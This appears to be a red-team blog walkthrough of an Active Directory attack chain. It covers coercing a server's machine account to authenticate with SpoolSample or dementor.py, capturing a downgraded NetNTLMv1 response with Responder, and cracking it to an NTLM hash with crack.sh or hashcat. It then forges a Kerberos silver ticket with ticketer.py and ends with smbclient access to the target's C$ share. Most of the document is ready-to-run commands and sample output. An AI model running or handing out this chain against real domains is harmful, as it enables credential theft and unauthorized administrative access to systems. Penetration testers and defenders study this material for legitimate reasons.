SpoolSample -> NetNTLMv1 -> NTLM -> Silver Ticket

This technique has been alluded to by others, but I haven't seen anything cohesive out there. Below we'll walk through the steps of obtaining NetNTLMv1 Challenge/Response authentication, cracking those to NTLM Hashes, and using that NTLM Hash to sign a Kerberos Silver ticket.

This will work on networks where "LAN Manager authentication level" is set to 2 or less. This is a fairly common scenario in older, larger Windows deployments. It should not work on Windows 10 / Server 2016 or newer.

There are 3 main steps

Obtain a NetNTLMv1 Response of a machine account vis @tifkin_'s (Lee Christensen's) SpoolSample

Crack that NetNTLMv1 Response back into an NTLM Hash using @0x31337's (David Hulton's) Rainbow Tables

Generate a Silver Ticket using the newly obtained NTLM Hash using @agsolino's (Albert Solino's) ticketer.py

Obtain a NetNTLMv1 Response

Identify potentially vulnerable machines

Using Powershell, get a list of Windows boxes. Servers are usually priority, so lets focus there:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Using a slightly modified @mysmartlogin's (Vincent Le Toux's) SpoolerScanner, see if the Spooler Service is listening

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Start Responder with the --lm flag to force a LM downgrade

./Responder.py -I eth0 --lm

Trigger an authentication

SpoolSample.exe TARGET RESPONDERIP

or use 3xocyte's dementor.py if you're on Linux

python dementor.py -d domain -u username -p password RESPONDERIP TARGET

Example Response:

[SMB] NTLMv1 Client   : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash     : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788

Crack the NetNTLMv1 responses back into an NTLM Hash

You can use a set of Rainbow Tables to reverse the NTHASH to NTLM, or you can reverse it to its DES constituent components and crack it with hashcat. 

An 8x 1080 rig can brute force it in about 6 days, so consider Rainbow Tables.

Rainbow Tables

  1. For Rainbow Tables, there is a service hosted at https://crack.sh/netntlm/ that will recover NTLM from NetNTLMv1 for free. This is provided by David Hulton of Toorcon. We're working on a local copy of the rainbow tables and software that does not require and FPGA for lookups.

  2. For crack.sh, the format is NTHASH:(response), so NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 from the example.

Or Cracking Them with hashcat

  1. @evil_mog's ntlmv1-multi tool below can break them
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

This will return the below output with instructions:

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

Create a Kerberos Silver Ticket

You'll need to find a few pieces of information for this: SPN of the service you want to access, domain SID, domain user account SID and account name with local admin access, and a domain group that user is a member of if it's group-based local admin.

For the service, the most common will be cifs/ as it maps back to the HOST/ service

Generate a Silver Ticket using Impacket's ticketer.py

./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username

Set the generated ccache file to the appropriate environment variable

export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache

Use smbclient, wmiexec, psexec, or any other impacket tool

smbclient -k //SERVER.DOMAIN.COM/c$ -d
